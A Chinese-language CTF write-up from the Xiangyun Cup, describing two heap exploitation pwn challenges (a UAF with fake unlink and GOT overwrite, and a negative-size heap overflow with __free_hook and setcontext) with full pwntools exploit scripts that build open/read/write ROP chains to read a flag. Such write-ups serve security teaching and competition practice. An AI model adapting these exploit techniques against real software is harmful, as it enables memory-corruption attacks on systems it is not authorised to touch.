是谁第一天AWDP五道题修了四道只做了一道,被第一甩下2w5的分差
是谁第二天CTF七道题就做了一道,中午就给自己下班
这些都在祥云杯摆烂大舞台,意外的拿了个第五
一个常见的菜单堆,但是最关键的malloc和free函数被重写了,漏洞点是简单的UAF,未开启pie,没有show功能
实际malloc和free被加了非常多的花指令混淆,具体代码逻辑现场感觉赶不上详细逆向了,因此需要猜逻辑
free后任意大小的chunk都由同一个双向循环链表链接,类似于unsortedbin,但是没有free_chunk切割机制,仅匹配size对应的chunk
存在prev_size以及类似ptmalloc的flag位,但是实际暂时无法实现free_chunk合并以及整理
既然是双链表,那么基本90%的漏洞都在unlink的时候导致,但是缺少show功能导致信息泄漏困难,因此需要合理的布置堆风水
由于heap_list以及unsortedbin链表的链表头都保存在bss段上,因此可以用chunk_list中存储的chunk指针实现unlink链表检测的绕过
但是直接这样修改会报出一个Size Check!错误,显然是双向循环链表检测机制满足了而某个size位没有
经过一定的尝试,发现会检测链表指向地址-0x8处是否为一个合法的size,这对于bss段上的链表头同样适用
解决方法是通过分配全部chunk,将chunk_list的前两个chunk指针作为伪造的unlink节点,-0x8地址出刚好就是存储的size_list,绕过了size检测
通过新建chunk来unlink,可以将chunk_list中的指针指向chunk_list自身,edit修改chunk_list中的内容为目标指针后再次edit可以实现任意地址读写
但是本题没有show功能,需要寻找方法来泄漏libc地址,并且由于未开启pie保护,任意读写的范围局限在程序段上,
发现未开启got表保护,并且注意到fprintf第一个参数为stderr,因此选择将stderr指向got表并将fprintf指向puts函数
由于fprintf为报错触发执行,所有的fprintf后都跟着exit函数,因此也需要将exit指向alarm来避免程序退出,触发报错泄漏libc地址
有了libc地址后,再次泄漏environ处的栈地址,计算偏移后将ROP链写入栈并劫持程序流
(赛后有师傅提到可以修改atoi为printf,来将后续问题转化为格式化字符串)
EXP:
| from pwn import* |
| r=remote("172.16.9.4",9097) |
| |
| context.log_level='debug' |
| |
| def new(size,content): |
| r.recvuntil(": ") |
| r.sendline("1") |
| r.recvuntil(": ") |
| r.sendline(str(size)) |
| r.recvuntil(": ") |
| r.send(content) |
| |
| def delete(idx): |
| r.recvuntil(": ") |
| r.sendline("2") |
| r.recvuntil(": ") |
| r.sendline(str(idx)) |
| |
| def edit(idx,content): |
| r.recvuntil(": ") |
| r.sendline("3") |
| r.recvuntil(": ") |
| r.sendline(str(idx)) |
| r.recvuntil(": ") |
| r.send(content) |
| |
| def gift(): |
| r.recvuntil(": ") |
| r.sendline("4097") |
| |
| new(0xC8,"\n") |
| |
| delete(0) |
| |
| new(0xC8,"\n") |
| |
| for i in range(0xC): new(0xC8,"\n") |
| new(0x20,"\n") |
| |
| delete(0) |
| delete(0) |
| |
| edit(0,p64(0x60a260)+p64(0x60a260)) |
| |
| new(0xC8,"\n") |
| |
| edit(1,p64(0)+p64(0x60a260)+p64(0x60a140)) |
| edit(2,p64(0x60a0a8)) |
| |
| edit(1,p64(0)+p64(0x60a260)+p64(0x60a078)) |
| edit(2,p64(0x400910)) |
| |
| edit(1,p64(0)+p64(0x60a260)+p64(0x60a0b0)) |
| edit(2,p64(0x400900)) |
| |
| r.recvuntil(": ") |
| r.sendline("1") |
| r.recvuntil(": ") |
| r.sendline(str(0xC8)) |
| |
| libc=ELF("./libc-2.23.so") |
| |
| libc_base=u64(r.recvuntil("\n",drop=True)+p16(0))-libc.sym["atol"] |
| success("libc_base: "+hex(libc_base)) |
| r.recvuntil(": ") |
| r.send("\n") |
| |
| edit(1,p64(0)+p64(0x60a260)+p64(0x60a140)) |
| edit(2,p64(libc_base+libc.sym["environ"])) |
| |
| r.recvuntil(": ") |
| r.sendline("1") |
| r.recvuntil(": ") |
| r.sendline(str(0xC8)) |
| |
| stack=u64(r.recvuntil("\n",drop=True)+p16(0))-0x200+0x40+0x80 |
| success("stack: "+hex(stack)) |
| r.recvuntil(": ") |
| r.send("\n") |
| |
| pop_rdi=libc_base+0x21102 |
| pop_rsi=libc_base+0x202e8 |
| pop_rdx=libc_base+0x1b92 |
| |
| payload=p64(pop_rdi)+p64(0x60a278)+p64(pop_rsi)+p64(0)+p64(libc_base+libc.sym["open"]) |
| payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x60a260)+p64(pop_rdx)+p64(0x50)+p64(libc_base+libc.sym["read"]) |
| payload+=p64(pop_rdi)+p64(1)+p64(libc_base+libc.sym["write"]) |
| |
| edit(1,p64(0)+p64(0x60a260)+p64(stack)+"flag\x00") |
| |
| edit(2,"a"*0x10+payload) |
| |
| r.interactive() |
一个小游戏开始,前0xF个异或0x11和循环变量i即可,第0x10个元素需要满足前0xF个加自身为uint8_t的0
urandom作srand种子随机生成十个字节作为xor_key,为后面堆的内容作异或加密
一个没有edit的菜单堆,在new功能中存在一个为创建chunk时的size添加rand()%0x20+1的可选项,那么大概率漏洞点就在这里\
通过多次尝试,发现在创建size=0x8的chunk时经常crash,仔细调试后发现rand()%0x20+1的值有些时候会是4字节长度的负数
由于size很小,相加后仍然是负数,导致malloc了一个负数size的chunk导致crash
如图中eax=0x23为用户输入size,edx=0xffffffe4为rand()%0x20+1计算结果,相加即为实际分配chunk的size
那么就可以精准控制size大小,实现一个堆溢出,简单尝试后发现size=0x24-0x28时最容易触发堆溢出
由于使用read读取并且没有末尾加\x00,通过free某个chunk后再次分配可以获取libc地址,heap地址以及计算出xor_key
由于堆溢出的随机性,溢出修改下方chunk的size时多覆盖几个字节,循环检测下一个chunk的内容,若能匹配多出的覆盖内容则说明覆盖成功,否则继续覆盖
本题对堆风水要求比较高,需要实际调试
EXP:
| from pwn import* |
| r=remote("172.20.2.1",9007) |
| |
| context.log_level='debug' |
| |
| libc=ELF("./libc-2.31.so") |
| |
| r.recvuntil(">> ") |
| r.sendline("1") |
| |
| r.recvuntil(": ") |
| raw_str = r.recvuntil("\n",drop=True) |
| r.recvuntil(": ") |
| |
| num_list=[] |
| for i in range(0, len(raw_str), 2): |
| num_list.append(int(raw_str[i:i+2],16)) |
| |
| total=0 |
| for i in range(len(num_list)-1): |
| num_list[i]=num_list[i]^0x11^i |
| total+=num_list[i] |
| r.send(hex(num_list[i])[2:].rjust(2,"0")) |
| |
| |
| r.sendline(hex(0x100-(total&0xFF))[2:].rjust(2,"0")) |
| |
| def new(size,content,mode): |
| r.recvuntil(">> ") |
| r.sendline("2") |
| r.recvuntil(": ") |
| r.sendline(str(mode)) |
| r.recvuntil(": ") |
| r.sendline(str(size)) |
| r.recvuntil(": ") |
| r.send(content) |
| |
| def show(idx): |
| r.recvuntil(">> ") |
| r.sendline("3") |
| r.recvuntil(": ") |
| r.sendline(str(idx)) |
| |
| def delete(idx): |
| r.recvuntil(">> ") |
| r.sendline("4") |
| r.recvuntil(": ") |
| r.sendline(str(idx)) |
| |
| new(0x417,"\n",0) |
| new(0x47,"\n",0) |
| new(0x47,"\n",0) |
| |
| delete(0) |
| new(0x417,"a"*0x8,0) |
| show(0) |
| |
| r.recvuntil("a"*0x8) |
| libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-libc.sym["__malloc_hook"]-0x70 |
| success("libc_base: "+hex(libc_base)) |
| |
| delete(1) |
| delete(2) |
| new(0x47,"\x10",0) |
| show(1) |
| |
| r.recvuntil(": ") |
| heap=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x610 |
| success("heap: "+hex(heap)) |
| |
| new(0x47,"a"*0x28,0) |
| |
| delete(2) |
| new(0x47,"a"*0x18,0) |
| show(2) |
| |
| xor_key=[0,0] |
| r.recvuntil("a"*0x18) |
| xor_key_raw=r.recv(16) |
| xor_key[0]=u64(xor_key_raw[8:])^0x6161616161616161 |
| xor_key[1]=u64(xor_key_raw[:8])^0x6161616161616161 |
| success("xor_key0: "+hex(xor_key[0])) |
| success("xor_key1: "+hex(xor_key[1])) |
| |
| def enc(data_raw): |
| data="" |
| for i in range(0,len(data_raw),0x8): |
| data+=p64(u64(data_raw[i:i+0x8].ljust(0x8,"\x00"))^xor_key[i//0x8&1]) |
| return data[0:len(data_raw)] |
| |
| new(0x17,"\n",0) |
| new(0x17,"\n",0) |
| new(0x67,"\n",0) |
| new(0x417,"\n",0) |
| new(0x67,"\n",0) |
| |
| delete(3) |
| |
| payload="a"*0x18+p64(0x4b1)+p32(0x62626262) |
| while (True): |
| show(4) |
| if(r.recvline().find("bbbb")!=-1): break |
| delete(1) |
| new(0x23,enc(payload),1) |
| |
| |
| delete(4) |
| new(0x17,"\n",0) |
| new(0x67,"\n",0) |
| |
| delete(3) |
| delete(7) |
| delete(5) |
| |
| payload="a"*0x18+p64(0x71)+p64(libc_base+libc.sym["__free_hook"]) |
| while (True): |
| show(4) |
| if(r.recvline().find(p64(libc_base+libc.sym["__free_hook"])[:6])!=-1): break |
| delete(2) |
| new(0x27,enc(payload),1) |
| |
| |
| gadget=libc_base+0x1518b0 |
| pop_rdi=libc_base+0x23b72 |
| pop_rsi=libc_base+0x2604f |
| pop_rdx_r12=libc_base+0x119241 |
| |
| new(0x67,"\n",0) |
| |
| delete(0) |
| |
| new(0x67,enc(p64(gadget)),0) |
| |
| payload="" |
| payload+=p64(0x0067616c66)+p64((heap+0x2a0)) |
| payload=payload.ljust(0x20,"\x00") |
| payload+=p64((libc_base+libc.sym["setcontext"]+61)) |
| payload=payload.ljust(0xa0,"\x00") |
| payload+=p64(heap+0x3a0)+p64((pop_rdi+1)) |
| payload=payload.ljust(0x100,"\x00") |
| payload+=p64(pop_rdi)+p64((heap+0x2a0))+p64(pop_rsi)+p64(0)+p64((libc_base+libc.sym["open"])) |
| payload+=p64(pop_rdi)+p64((3))+p64(pop_rsi)+p64(heap)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64((libc_base+libc.sym["read"])) |
| payload+=p64(pop_rdi)+p64((1))+p64((libc_base+libc.sym["write"])) |
| |
| new(0x417,enc(payload),0) |
| new(0x417,enc(payload),0) |
| |
| |
| |
| delete(7) |
| |
| r.interactive() |